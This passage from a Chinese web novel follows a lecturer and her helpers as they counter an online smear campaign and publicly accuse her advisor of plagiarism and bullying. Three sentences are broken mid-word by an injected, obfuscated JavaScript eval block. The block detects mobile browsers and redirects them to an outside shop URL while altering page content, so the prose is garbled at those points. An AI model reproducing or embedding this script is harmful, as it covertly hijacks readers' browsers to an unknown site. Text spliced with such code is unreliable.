“紧急:有人在小红书发帖攻击罗贝妮” 发完,他站起来,走到徐寄遥房门前,轻轻敲了三下。 / 徐寄遥没睡。 她躺在床上,盯着天花板,脑子里一直在转罗贝妮的事。 证据整理、举报信、舆论策略,每一步都想了好几遍,还是觉得不踏实。 心里总悬着一件事,他们会不会先出手? 手机震了。 她拿起来一看,是应宽的消息。 接着是敲门声。 三秒后,她已经穿上外套,推开了房门。 “帖子还在吗?” 应宽点点头,把屏幕转过来。 “刚发的,已经几百个赞了。评论也在涨。” 徐寄遥接过手机,一条一条往下滑。 正文只有几行字,但每一行都像刀: “启元大学社会学系有个女老师,为了评副教授,想勾引自己的导师。导师是刚上任的院长,对她完全没兴趣。现在她在学院里被孤立了,没课上,大家都看不起她。这种人怎么能当大学老师?” 评论区越来越恶毒。 “这种人怎么混进高校的?” “她怎么还有脸活着?” “启元大学赶紧处理吧!” “听说她以前就想勾引过别的老师,没成功。” “查查她当年怎么毕业的!” 最后一条评论,让徐寄遥的眼睛眯了起来: “她已经旷工好几天了,应该要被学校开除了。” 她看向应宽。 “能查到发帖人的IP吗?” “正在追。用了代理,三层跳板,需要点时间。” / 他们的说话声,吵醒了吴小糖。 她睡在客厅的沙发上,身上盖着羽绒被。被吵醒的时候迷迷糊糊的,还以为是天亮了。 睁开眼,看到不远处的徐寄遥和应宽都盯着电脑屏幕,两个人的表情都很严肃。 “怎么了?” 她坐起来,揉着眼睛,声音还带着睡意。 徐寄遥没回头,只是把手机递给她。 吴小糖接过来看了一眼,然后整个人清醒了。 “这、这是说的罗老师?!” 她的声音有点大,在安静的夜里格外清晰。 杂物房的门,轻轻推开了。 / 俞彩虹睡眠浅。 她本来是陪着罗贝妮睡的。 杂物房里支了两张折叠床,她一张,罗贝妮一张。 睡前罗贝妮一直翻来覆去,好久才睡着。她怕吵醒她,一直没敢动,就那么躺着,听隔壁床的呼吸声。 听到外面的动静,她摸过手机看了一眼时间。 一点四十七分。 然后她看到了应宽的消息。 她轻轻坐起来,披上外套,动作很轻,生怕惊醒旁边的人。 推开门的时候,她回头看了一眼,罗贝妮还在睡,呼吸平稳。 她放下心,轻轻带上门,走到客厅。 “帖子的事,我知道了,”她走到电脑前,声音很轻,“现在什么情况?” 应宽把追踪进度给她看。 “正在追IP,这个账号用了三层代理。” 俞彩虹点点头,没有说话。 她只是盯着屏幕上的那些评论,脸色越来越沉。 那些字像刀子一样,一刀一刀剜在心上。 不是剜她的心,但她能感觉到那种疼。 / 凌晨两点,罗贝妮醒了。 她做了一个梦。 梦里她站在学术会议的讲台上,下面坐满了人,都在看着她。她想说话,但发不出声音。她想走,但脚被钉在地上动不了。 然后她看到了那些人的,张凌烽、人事处的老师、论坛上骂她的那些账号……都在笑。那笑容一模一样,像是从一个模具里刻出来的。 她猛地睁开眼睛。 杂物房里很黑。旁边那张床上,俞彩虹不在。 外面有说话声。 罗贝妮坐起来,披上外套,推开门。 客厅里灯全亮着。四个人都在。 徐寄遥站在电脑前。应宽在敲键盘。俞彩虹坐在旁边。吴小糖缩在沙发上,手里拿着手机。 他们都看着她。 罗贝妮愣了一下。 “怎么了?” 没有人说话。 吴小糖想把手机藏起来,但已经来不及了。 那动作太明显,反而让罗贝妮更确定,是出事了。 罗贝妮走过来,看到屏幕上的帖子。 她的脸色瞬间变得惨白。 那种白不是普通的白,是血一下子褪干净的白,连嘴唇都没了颜色。 “这是……这是我?” 她没有等回答。她接过手机,一条一条往下滑。 她的手开始发抖,抖得手机都快拿不稳。 屏幕上的字在晃动,但她还是看清了。每一行,每一个字,每一条评论。 “我没有、我没有勾引他……” 她的声音很轻,轻得像是在自言自语。 “我没有……” 吴小糖冲过去扶住她。 “罗老师,我们知道你没有!你别看那些评论!” 但罗贝妮还在看。 她一条一条地看,每看一条,脸色就白一分。 那些字像是活过来了,一个一个往她眼睛里钻。 “这种人也能当老师?” “她怎么还有脸活着?” “要是我早就跳楼了。” 看到最后一条,她的腿软了。 吴小糖把她扶到沙发上坐下。她的手冰凉,整个人都在发抖,抖得像风里的叶子。 罗贝妮坐在那里,整个人像被抽干了水分。她的眼睛空洞地盯着某个地方,嘴唇在动,但发不出声音。 过了很久,她开口了。 “他们……他们是要我死吗?” 那声音太轻了,轻得几乎听不见。但每个人都听见了。 / 徐寄遥在她对面坐下。 “罗老师,看着我。” 罗贝妮抬起头。 她的眼睛里没有眼泪,只有一种很深的、让人害怕的空洞。 “你现在看到的这些,不是真实的声音。是有组织的水军攻击。” 徐寄遥的声音很平静,但每一个字都很清晰,像钉子一样钉进空气里。 “你看这条评论,‘她已经旷工好几天了,应该要被学校开除了’。” 她指着那条评论。 “这个信息,不是随便什么网友能知道的,旷工几天、学校处理流程,这是校内的人才能掌握的情况。” 罗贝妮的眼睛动了一下。 “你是说……” 俞彩虹走过来,在旁边坐下。 “很明显是有人在背后操控,用匿名账号发帖,用水军带节奏,把这件事从学术圈内推到全网。” 她的声音很平静,但有一种说不出的沉重。那种沉重不是装的,是从骨头里渗出来的。 “罗老师,这是学术霸凌的标准升级流程。” 罗贝妮看着她。 “先剥夺资源,让你没课上;再摧毁声誉,让你在圈内社死;最后扩展到网络,让你在全网社死。” 俞彩虹顿了顿。 “我当年只经历了前两步,那时候网络没这么发达,他们搞不到第三步。” 她看着罗贝妮。 “但你不一样,你活在这个时代,他们能搞到你这一步。” 罗贝妮的眼泪终于流下来。 “他们……他们怎么能这样?” / 凌晨三点四十,应宽抬起头。 “查到了。” 他把屏幕投到白墙上。 那是一张IP追踪图,密密麻麻的线条最终汇聚到一个点。那些线条像是蜘蛛网,把整件事的来龙去脉都织在一起。 “这个账号用了三层代理,先过香港,再过新加坡,最后回国内,一般人追不到。” 他顿了顿。 “但有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239922|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个破绽,有一层跳板可能没设好,暴露了真实IP。” 那个IP地址,显示在一张表格里。 应宽指着表格最下面一行。 “这个IP,属于一家公司,叫博云加速。” 徐寄遥的眼睛眯了起来。 “博云加速?” “伯牙科技的子公司,”应宽说,“专门做数据转发和匿名代理。” 吴小糖一句“我草”硬生生咽回去了。 应宽继续往下翻。 “而且不止这一个账号,我顺着这个IP往回追,发现过去一周,有好几个攻击罗老师的匿名账号,都用过博云加速的代理。” 他把那些账号列出来: “momo”“正义路人”“学术打假人”“启元知情者”…… 一共七个账号。 IP源头,全都指向博云加速。 徐寄遥沉默了几秒。 “已知,张凌烽拿过伯牙科技的资助,而且还是和解大师APP的特约专家。” 应宽点点头。 “去年10月,张凌烽拿了伯牙科技500万。今年3月,伯牙科技的子公司为攻击罗贝妮的水军提供代理。” 他顿了顿。 “时间线对得上。” 俞彩虹冷笑了一声。那笑声里没有笑意,只有冷。 “这就说得通了,张凌烽需要维护自己的学术权威形象,不能让罗贝妮的举报发酵;伯牙科技需要维护自己的特约专家,不能让丑闻影响和解大师APP的声誉。” 她看着罗贝妮。 “他们利益一致。” 罗贝妮没有说话。 她只是盯着屏幕上的那些IP地址,盯着那些攻击她的账号,盯着那些骂她的话。 她的眼睛里,有什么东西在变化。 吴小糖忍不住问:“寄遥姐,那咱们怎么办?他们有水军,有学校,咱们怎么打?” 徐寄遥没有回答。 她站起来,走到窗边,看着外面漆黑的夜色。 凌晨的城市很安静。 远处有几盏路灯,橙黄色的光孤零零地亮着。街上一个人都没有,只有偶尔驶过的出租车。 沉默了很久。 然后她转过身。 她的声音很平静,但每一个字都很清晰,像钉子一样钉进每个人的耳朵里。 “张凌烽、伯牙科技、水军、学校人事处,他们是一个链条,你的论文,动了这个链条的利益,所以要联手毁掉你,让你闭嘴。” 罗贝妮的眼泪流下来。 “那我……我还有机会吗?” 徐寄遥看着她。 “有。” “什么机会?” “让他们知道,你不是一个人。” / 凌晨五点,天快亮了。 吴小糖在沙发上睡着了。她的眉头还皱着,睡得不踏实,但总算睡着了。 应宽还在电脑前,盯着那些IP数据。 屏幕的光照在他脸上,镜片上反射出一行行代码。他已经连续工作十几个小时了,但没有要停的意思。 俞彩虹靠在椅背上,闭着眼睛,但没有睡着。她的手指轻轻敲着扶手,一下一下,像是在数着什么。 徐寄遥站在窗边,看着东方慢慢泛白的天际线。 罗贝妮走过来,站在她旁边。 “寄遥。” 徐寄遥转过头。 罗贝妮的眼睛红肿,脸色还是很差。 但她的眼睛里,有了一点不一样的东西。不是希望,不是勇气,是一种更深的东西。像是终于看清了什么之后的那种平静。 “谢谢你们。” 徐寄遥没有说话。 罗贝妮继续说: “刚才看到那些帖子的时候,我真的想过,要不就算了吧,太累了,撑不下去了。” 她的声音很轻,但很稳。 “但是,看到你们都在,看到你们帮我查那些IP,帮我分析那些证据……” 她哽咽了,顿了顿。 “我又觉得,也许还能撑一撑。” 徐寄遥看着她,嘴角微微上扬。 那笑容很淡,淡得几乎看不见。但那是真心的。 “那就撑下去。” 她转回头,继续看着窗外。 “你看,太阳快出来了。” 罗贝妮顺着她的目光看过去。 东方的天际线,真的开始亮了。灰蓝色的天幕上,有一抹淡淡的橙红色,正在慢慢扩散。 新的一天,要来了。 16. 罗贝妮的困境(六):舆论对决 2025年3月18日,上午八点半。 工作室里一片安静。 吴小糖还在沙发上睡着,羽绒被裹得严严实实,只露出半张脸。 应宽七点多才回房间睡觉,键盘还亮着。 俞彩虹和罗贝妮也都去休息了。 徐寄遥站在窗边,阳光已经照进来了,落在她的脸上。 她一夜没睡,眼睛里有些血丝,但整个人还是清醒的。 她轻轻走到沙发边,把吴小糖蹬开的被角掖好。 然后她朝自己房间走去。 稍微睡会儿吧。 / 中午十二点整。 吴小糖的手机闹钟响了。 她迷迷糊糊摸过手机,按掉闹钟,然后整个人从沙发上弹起来。 “几点了?!” “十二点。”徐寄遥的声音传来。 吴小糖揉着眼睛,看着她。 “寄遥姐,你是没睡?还是刚起?” 徐寄遥没回答,只是走过来,把一杯热咖啡放在茶几上。 “喝了,清醒一下。” 吴小糖端起咖啡,喝了一口。烫的,但很提神。 应宽也醒了。他从房里走出来,边走边揉脖子,发出咔咔的声音。 然后他看了一眼电脑屏幕,又看了一眼徐寄遥。 “举报信发出去了?” 徐寄遥点点头。 “早上八点,罗老师亲手发的,校纪委、校领导、人事处、学术委员会、教育部学术不端举报邮箱,每个部门都发了一份。” 俞彩虹从杂物房走出来,听到这话,点点头。 “那现在就是等了。” “什么时候能有回复啊?”吴小糖问。 “按照规定,”俞彩虹说,“必须在15个工作日内受理,在这之前,学校不能以旷工为由处理罗老师。” 吴小糖眼睛亮了一下。 “那罗老师安全了?” 徐寄遥摇摇头。 “只是暂时安全,真正的仗,还没开始打。” / 3月20日,下午两点。 罗贝妮坐在工作室的电脑前,手指悬在键盘上。 屏幕上是小红书的发布页面。 标题已经写好了,正文也写好了,证据材料都准备好了。 只差最后一步,点击发布。 她的手在发抖。 徐寄遥站在她身后。 “紧张?” 罗贝妮点点头。 “正常的,”徐寄遥说,“但你必须发。” 罗贝妮深吸一口气,又看了一眼屏幕上的字: 《我是启元大学的罗贝妮,我要实名举报我的导师张凌烽剽窃》 每一个字都像石头一样重。 她想起三年前,在村子里做田野调查的那些日子。想起张凌烽当年否定她论文时的那封邮件。想起办公室里那个冰冷的眼神。 想起那一个月的培训,那五天的旷工,那张压在枕头底下的离职申请表。 还有小红书上的那些帖子。 她咬了咬牙。 手指按下去。 发布成功。 / 帖子发出去之后,前半个小时,几乎没什么动静。 吴小糖守在电脑前,一遍一遍刷新。 应宽盯着数据后台。 俞彩虹靠在沙发上,手里拿着手机,翻着朋友圈。 罗贝妮坐在那里,一动不动。 “是不是没人看?”吴小糖有点着急。 “别急,”徐寄遥说,“需要时间发酵。” 四十分钟后,第一条评论出现了。 “卧槽,这是真的吗?” 接着是第二条,第三条,第四条。 “求扩散!让更多人看到!” “这证据也太硬了吧?时间线清清楚楚!” “张凌烽是谁?启元大学社会学系院长?” 一个小时后,小红书的讨论度开始飙升。 两个小时后,有人把帖子转到了微博。 三个小时后,微博热搜榜上出现了一个话题: 【#启元大学院长被学生举报剽窃】 第45位。第32位。第19位。第7位。 晚上八点,这个话题冲到了热搜第一。 评论区彻底炸了。 支持的声音: “证据这么完整,还有什么好说的?” “学生五年前的毕业论文,导师今年发的,这不是剽窃是什么?” “支持罗贝妮!学术圈需要这样敢说话的人!” “转发!让更多人看到!” “电量多少!我19” 质疑的声音: “等等,先别急着下结论,看看张凌烽怎么说。” “算不算剽窃,这要看具体情况。” “会不会是误会?毕竟是导师,不至于吧?” 两边吵得不可开交。 罗贝妮一条一条看着那些评论,手又开始发抖。 俞彩虹在她旁边坐下。 “罗老师,你现在看到的是什么?” 罗贝妮愣了一下。 “是网友的评论?” 俞彩虹摇摇头。 “不是,你看到的是舆论。” 她顿了顿。 “舆论的本质,不是真相,是情绪;支持你的人,是在宣泄对学术不端的愤怒;质疑你的人,是在宣泄对网络维权的警惕;他们吵得越凶,你的话题就越热。” 她看着罗贝妮。 “你要做的,不是让所有人相信你,是让足够多的人看到你。” / 3月22日,上午十点。 张凌烽的回应来了。 是在微博上,以个人实名账号发布的。标题很官方: 【关于罗贝妮指控的回应】 正文不长,但每一个字都像是经过精心打磨的。 “近日,我院讲师罗贝妮在网络上对我进行指控,称我剽窃其论文。对此,我郑重声明:该指控完全是捏造。” “罗贝妮曾是我指导的博士生。她的研究方向和论文选题,均在我的指导下完成。我于2024年10月发表的论文,核心观点正是在指导她的过程中形成的。学术观点的传承,是学术研究的正常现象,绝非所谓的‘剽窃’。” “罗贝妮可能是对学术研究的过程存在误解。我愿意与她私下沟通,澄清事实,也希望她不要在网络上继续发酵此事,以免对学校和学院造成不良影响。” 最后一句,特别意味深长: “我担任启元大学社会学系院长以来,一直致力于推动学术发展。我相信,真相终会水落石出。” 这条微博发出后,评论区风向开始转变。 “原来是这样啊,学术观点的传承确实不算剽窃。” “学生误会导师,这种事也挺常见的。” “人家导师愿意私下沟通,她还在网上闹,有点过了。” “等等看吧,说不定真有误会。” 舆论开始摇摆。 罗贝妮看着那些评论,脸色又白了。 “他、他怎么能这么说?” 俞彩虹冷笑了一声。 “他当然会这么说,都是标准话术,先否认,再混淆概念,最后把自己包装成受害者。” 她指着张凌烽的微博。 “你看这几句话,‘核心观点正是在指导她的过程中形成的’,这句话,他怎么证明?你怎么证伪?学术观点这东西,本来就说不清是谁先想出来的。” “还有这句,‘学术观点的传承,是正常现象’,这就是在偷换概念;传承和剽窃,区别在于有没有署名,他把你的观点拿去发表,署自己的名字,这叫传承吗?这就是剽窃。” 罗贝妮的手握紧了。 “那我怎么办?” 徐寄遥走过来。 “继续发。” 罗贝妮看着她。 “发第二篇,回应他这篇回应。” / 3月23日,上午十点。 罗贝妮的第二篇长文发布。 标题很直接: 【回应张凌烽院长的“学术观点传承”论】 正文开头,她先引用了张凌烽微博里的两句话: “罗贝妮同学的研究方向和论文选题,均在我的指导下完成。” “学术观点的传承,是学术研究的正常现象。” 然后她放出了第一张证据截图。 那是2020年3月,张凌烽回复她论文的邮件。 邮件里只有一句话: “这个选题意义不大,建议换个方向。” 评论区又开始沸腾。 “卧槽,这邮件是真的吗?” “五年前说意义不大,五年后自己发表,这不是剽窃是什么?” “张凌烽出来走两步!” 质疑的声音开始弱下去。 但还没有完全消失。 有人还在说:“邮件只能证明张院长当年否定了这个选题,不能证明他剽窃。学术观点的发展,本身就有很多变数。” 罗贝妮看着这些评论,有点着急。 “他们……他们怎么还不信?” 徐寄遥摇摇头。 “不是不信,是还没看到最硬的证据。” 她看着罗贝妮。 “那个录音,你准备好了吗?” 罗贝妮沉默了几秒。 然后她点点头。 “准备好了。” / 3月23日,晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239923|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八点。 罗贝妮发布了第三篇长文。 这次没有太多文字。只有一段录音,和一份转录的文字稿。 录音是那段四十多分钟对话的节选。 文字稿把最关键的几句话标了红: “你还年轻,路还长。” “不要自己把自己的路走窄了。” “你这个样子,以后在学界怎么混?” 帖子最后,罗贝妮写了一句话: “大家可以自己听,自己判断。” 录音发布后,舆论彻底转向。 “这TM是威胁吧?!” “什么‘路还长’‘路走窄了’,这不是威胁是什么?” “学术霸凌实锤了!” “张凌烽滚出学术界!” 质疑的声音彻底被淹没了。 那些之前还在说“可能是误会”的人,要么沉默了,要么改了立场。 微博热搜上,又多了几个话题: 【#张凌烽录音】 【#学术霸凌】 【#罗贝妮录音证据】 热度持续了整整一天一夜。 / 3月24日,凌晨。 工作室里又熬了一夜。 吴小糖困得东倒西歪,但还在刷评论。 应宽盯着后台数据,偶尔截几张图保存。 俞彩虹靠在沙发上,闭着眼睛,但没睡着。 罗贝妮坐在电脑前,一条一条翻着那些支持她的评论。 她的手已经不抖了。 徐寄遥走过来,在她旁边坐下。 “感觉怎么样?” 罗贝妮想了想。 “好像没那么怕了。” 徐寄遥点点头。 “那就好。” 罗贝妮转过头,看着她。 “寄遥,谢谢你们。” 徐寄遥笑了笑,没说话。 罗贝妮继续说: “如果不是你们,我根本不敢发这些东西,我可能会一直忍着,一直拖,拖到最后把那张表交上去,然后灰溜溜地走人。” “现在,不管结果怎么样,我至少试过了。” 徐寄遥看着她,嘴角微微上扬。 “这才刚开始。” 凌晨四点,吴小糖终于撑不住了,歪在沙发上睡着了。 应宽还在盯着屏幕,但眼皮也在打架。 俞彩虹起身,去杂物房拿了羽绒被,盖在吴小糖身上。 看到应宽在打瞌睡,她说: “眯一会儿吧,明天还有硬仗。” 应宽犹豫了一下,起身回房间了。 俞彩虹走到窗边,站在徐寄遥旁边。 “你觉得张凌烽接下来还会怎么回应?” 徐寄遥想了想。 “不好说,但是他肯定会有动作。” 俞彩虹点点头。 “我也算认识他这个人,他不会认输的,只会想办法拖,拖到热度过去,拖到大家忘记这件事。” 徐寄遥看着窗外漆黑的夜色。 “那我们就让他拖不了。” / 凌晨两点,工作室里只剩电脑主机的嗡鸣声。 徐寄遥还坐在电脑前。 罗贝妮的那篇长文明天要发,她还在逐字逐句地改,改到第三遍还是觉得不够完美。 咖啡已经喝完了,她不想再泡。喝多了睡不着,虽然她也不知道自己今晚还能不能睡着。 应宽的电脑屏幕还亮着,但他的人不在座位上。 不知过了多久,一股香味飘过来。 她抬起头,看到应宽端着一个碗站在她旁边。碗里是粥,白米粥,上面卧着一个荷包蛋,撒了几颗葱花。 “喝了。”应宽把碗放在她手边,语气和平时一样平淡。 徐寄遥愣了一下。 她这才注意到,应宽的眼圈有点黑,头发比白天更乱了。 “你一直没睡?” 应宽没回答,只是指了指粥。 “熬的,时间长,米烂了,好消化。” 徐寄遥低头看着那碗粥,热气扑在脸上,带着米的香气。 “谢谢。” 应宽站在原地,没动。过了几秒,他说: “你谢过了,上次买菜的时候。” 徐寄遥愣了一下,然后笑了。 那笑容很淡,但应宽看到了。 他转身走回自己的电脑前,坐下,继续敲代码。 徐寄遥端起碗,喝了一口粥。粥很烫,从嘴里暖到胃里。 她看了一眼应宽的背影,又低头继续喝粥。 吴小糖睡在沙发上,翻了个身,迷迷糊糊地嘟囔了一句: “什么味道……好香……” 粥的热气在凌晨的灯光里慢慢上升,飘散。 17. 罗贝妮的困境(七):争锋相对(上) 2025年3月24日,下午三点。 窗外的阳光斜照进来,落在工作室的地板上,切割成一块一块的光斑。 罗贝妮坐在沙发上,手机屏幕的光映在她脸上,把她的表情照得忽明忽暗。 网上已经吵了两天。 从她发布第一篇实名举报信到现在,整整三天过去了。 没有任何回复。 只有一封自动回复: “您的邮件已收到,我们会尽快处理。” “尽快”是多久?没人知道。 / 吴小糖的声音从电脑前传来,带着一种说不清的紧张。 “张凌烽又回应了!这次写得更长!” 罗贝妮站起来,走到电脑前。 屏幕上是一篇洋洋洒洒的回应,标题是《关于罗贝妮老师指控的进一步说明》。 正文分了几个部分,条理清晰,显然是经过精心打磨的。 第一部分,回应否定论文的邮件。 “2020年,罗贝妮提交的论文初稿确实存在诸多不足。作为导师,我指出其研究不够深入、论证不够严谨,建议她继续完善。这是导师的正常职责,绝非所谓的‘否定’。” “后来我继续研究这一课题,投入了四年时间,进行了更深入的田野调查,最终形成了自己的学术观点。这是学术研究的正常发展过程,与罗贝妮老师的初稿有本质区别。” 第二部分,回应录音证据。 “我与罗贝妮的谈话,是领导对下属的正常指导。‘你还年轻,路还长’‘不要自己把自己的路走窄了’,那些话,是提醒她学术研究需要耐心,不要急于求成。却被她恶意解读为威胁,实在令人遗憾。” 第三部分,反守为攻。 “罗贝妮近期多次缺席学院安排的培训,累计旷工已达七日。学校已按规定启动处理程序。她此时在网络上对我进行指控,不排除是为了转移视线、逃避责任。” 最后一段,姿态很高。 “我始终愿意与罗贝妮老师私下沟通,也希望她停止在网络上发酵此事。学术圈的争议,应该在学术圈内解决。我相信,真相终会水落石出。” / 评论区炸了,但又没完全炸。 “他说得也有道理啊……” “导师指导论文,确实会有否定的时候。” “旷工七天?这是事实吗?” “等等,到底该信谁?” 风向又开始摇摆。像墙头上的草,风往哪边吹,就往哪边倒。 吴小糖气得直跺脚,木地板被她踩得咚咚响。 “他怎么能这么颠倒黑白?!他明明就是在威胁!” 俞彩虹摇了摇头。那动作很慢,像是深思熟虑之后的判断。 “这不是颠倒黑白,是框架争夺。” 吴小糖没听懂,眉毛拧成一团。 “什么框架?” 俞彩虹把手机放下,身体微微前倾。 “他把你拉进他的框架里,在他的框架里,他是导师,是权威,你是学生,是晚辈;他对你说的话,是指导;你旷工,是违纪;他发表论文,是研究发展;你指控他,是恶意解读。” 她顿了顿。 “你要跳出他的框架,就得建立自己的框架;在你的框架里,他是剽窃者,是霸凌者,你是受害者,是维权者;但是,框架争夺,不是一朝一夕能赢的,他要的是模糊焦点,你要的是清晰事实。” 罗贝妮没有说话。 她只是盯着那些评论,一条一条往下翻。 每翻一条,脸色就白一分。 但她的手,已经不抖了。 / 3月25日,上午十点。 代吵团队的几个人围坐在客厅里。 应宽昨晚又熬了一夜,眼圈发黑,像两个深深的坑。但他的精神还不错,眼睛里有一种熬夜熬出来的亢奋。 他把笔记本电脑投到白墙上,屏幕上是他整理好的时间线。 “你们看,张凌烽这个回应有一个致命的破绽。” 他指着屏幕上的几个时间点,用激光笔点了点。 “2020年2月,罗老师提交论文;2020年3月,张凌烽否定论文,说意义不大;2024年10月,张凌烽发表论文,中间隔了将近五年。” 他顿了顿,让这句话沉下去。 “他说他继续研究了这个课题,投入了四年时间,但问题是,这四年里,他没有任何关于这个课题的论文、项目、研究报告;他的学术履历上,这四年是空的,一片空白。” 俞彩虹点点头。 “这是个漏洞,如果真的研究了四年,总该有阶段性的成果吧?会议论文、工作论文、研究笔记,总得有点东西;什么都没有,怎么证明他在研究?” 罗贝妮的眼睛亮了一下。那种光,是她这几天来第一次出现。 “他在撒谎。” 应宽点点头。 “他需要证明这四年里他研究了,但他拿不出证据,拿不出,就等于承认撒谎。” 徐寄遥站起来,走到白板前。她拿起笔,在上面写了几个字。 【张的证据?】 她转过身,看着罗贝妮。 “罗老师,你下一篇回应,就问他这个问题,‘张凌烽院长,您说您研究了四年,证据呢?’” 罗贝妮看着那几个字,点了点头。 / 3月25日,下午两点。 罗贝妮的第四篇长文发布了。 标题很直接,像一把刀直插进去: 《张凌烽院长,您说的“四年研究”,证据在哪里?》 正文里,她把时间线重新梳理了一遍。 不是简单的罗列,而是用一种任何人都能看懂的方式,把每一个时间点、每一个证据、每一个疑点都标了出来。 然后她把张凌烽的学术履历截图贴了出来,用红圈圈出了那四年的空白。 “2020年到2024年,张凌烽教授没有任何关于这一课题的论文发表,没有任何相关项目立项,没有任何学术会议报告。他的‘四年研究’,在哪里?” “如果真的有研究,总该有研究笔记、调研记录、阶段成果吧?这些东西,能拿出来给大家看看吗?” 最后,她写道: “张凌烽教授,我不需要您私下沟通。我只需要您公开回答一个问题:您说的‘四年研究’,证据在哪里?” 帖子发出去之后,评论区风向开始转变。 “对啊,四年研究总该有点东西吧?” “什么都没有,怎么证明是自己研究的?” “张凌烽出来走两步!” 质疑的声音开始压过支持的声音。像潮水,慢慢地,慢慢地,往另一个方向涌。 / 3月26日,一整天都没有动静。 张凌烽的微博没有更新。学校的官网没有消息。 吴小糖守在电脑前,一遍一遍刷新。 每隔五分钟刷一次,每隔十分钟刷一次。刷到手指都酸了。 “他怎么不回了?” 俞彩虹靠在沙发上,慢悠悠地说。那语气不是猜测,而是判断。 “回不了,这个问题他没法回答;说有证据,拿不出来;说没证据,等于承认撒谎;最好的办法就是拖,拖到热度过去。” 罗贝妮坐在旁边,盯着手机。屏幕亮了又暗,暗了又亮。 “那他会不会,就这么一直拖下去?” 徐寄遥走过来,在她旁边坐下。 “你觉得呢?” 罗贝妮想了想。 “应该不会吧,他那种人,忍不了的。” “怎么说?” “因为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239924|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要面子,”罗贝妮说。 这句话她说得很慢,像是在咀嚼每一个字,“他当了这么多年博导、副院长,早就习惯了被人捧着,现在被一个小讲师追着维权,他咽不下这口气。” 徐寄遥点点头。 “那就等着。” / 3月27日,下午两点。 罗贝妮的手机响了。 来电显示:任国新。 那三个字跳在屏幕上,像三块石头,压在空气里。 吴小糖看她表情不对,连忙问:“谁的电话呀?” 罗贝妮皱着眉:“是我们副校长。” 空气凝固了一秒。 “接。”徐寄遥说。声音很平静,但有一种不容置疑的力量。 罗贝妮深吸一口气。那口气吸得很深,像是在给自己打气。然后她按下免提。 “喂?” “罗贝妮老师,我是任国新。” 声音很温和,温和得像一碗温水。但那种温和里,有一种说不出的压迫感。 像温水煮青蛙,慢慢加热,让你察觉不到。 “任校长您好。” “罗老师,你现在方便吗?我想和你聊聊。” 罗贝妮看了一眼徐寄遥。 徐寄遥点点头。 “方便,您说。” / 任国新没有拐弯抹角。 “罗老师,你最近在网络上发的东西,我都看了。” 他顿了顿,像是在组织语言。 “你的心情,我能理解,学术争议这种事,确实很让人难受。” 罗贝妮没有说话,她只是握着手机。 “但是,”任国新的声音变得严肃了一些,那种严肃,不是发怒,而是一种居高临下的提醒。“你在网络上这样闹,对学校的声誉影响很大,启元大学建校这么多年,还从来没有出现过这种事。” “我是副校长,得为学校的声誉负责,你也是启元的老师,应该理解学校的难处。” 罗贝妮开口了。她的声音有点抖,但每一个字都清晰。 “任校长,我只是想让学术委员会给我一个公正的结论,张凌烽剽窃我的论文,这是事实,我有证据。” 任国新沉默了几秒。那几秒钟,长得像几分钟。 “罗老师,学术争议的事,应该由学术圈内部来解决,你在网络上闹,只会让事情变得更复杂。” “学术委员会已经注意到了这件事,他们会处理的,你也要配合学校的工作,不要在网络上发那些东西了。” 罗贝妮的手握紧了手机。手机壳发出轻微的嘎吱声。 “任校长,学术委员会什么时候能有结论?” “这个嘛……”任国新的声音变得含糊起来,那种含糊,不是不知道,是不想说,“学术委员会有自己的程序,需要时间。” “需要多久?” “不好说,几个月,也许半年。” 罗贝妮的眼泪流下来。那眼泪不是汹涌的,而是一滴一滴,无声地滑落。 “任校长,我等不了那么久,3月18日,我把举报信发给了学校五个部门,到今天,没有任何回复;人事处那边,我的离职手续已经压了半个月,如果再等半年,我早就被开除了。” 任国新沉默了很久。 然后他开口。声音变得更温和了。但那种温和里,有一种说不出的东西。 像是关怀,又像是威胁。像是提醒,又像是最后通牒。 “罗老师,学校也是为你考虑,你现在的状态,可能确实不太适合继续在这里工作,换个环境,也许对你更好。” 罗贝妮愣住了。 “您……您这是让我走?” 任国新没有正面回答。 “罗老师,你好好考虑一下,有什么需要,随时联系我。” 电话挂断了。 18. 罗贝妮的困境(八):争锋相对(下) 罗贝妮握着手机,一动不动。 吴小糖急了,从沙发上跳起来。 “他什么意思?让罗老师走?!” 俞彩虹冷笑了一声。那笑声里没有笑意,只有冷。 “这就是体制内的压力,先礼后兵,软硬兼施;先跟你谈声誉,再跟你谈未来;最后暗示你,自己走,对大家都好。” 罗贝妮的眼泪流下来。 这一次是汹涌的,止不住地流。 “他们……他们是一伙的。” 徐寄遥走过来,在她旁边坐下。 她没有说话,只是伸出手,轻轻按在罗贝妮的手背上。 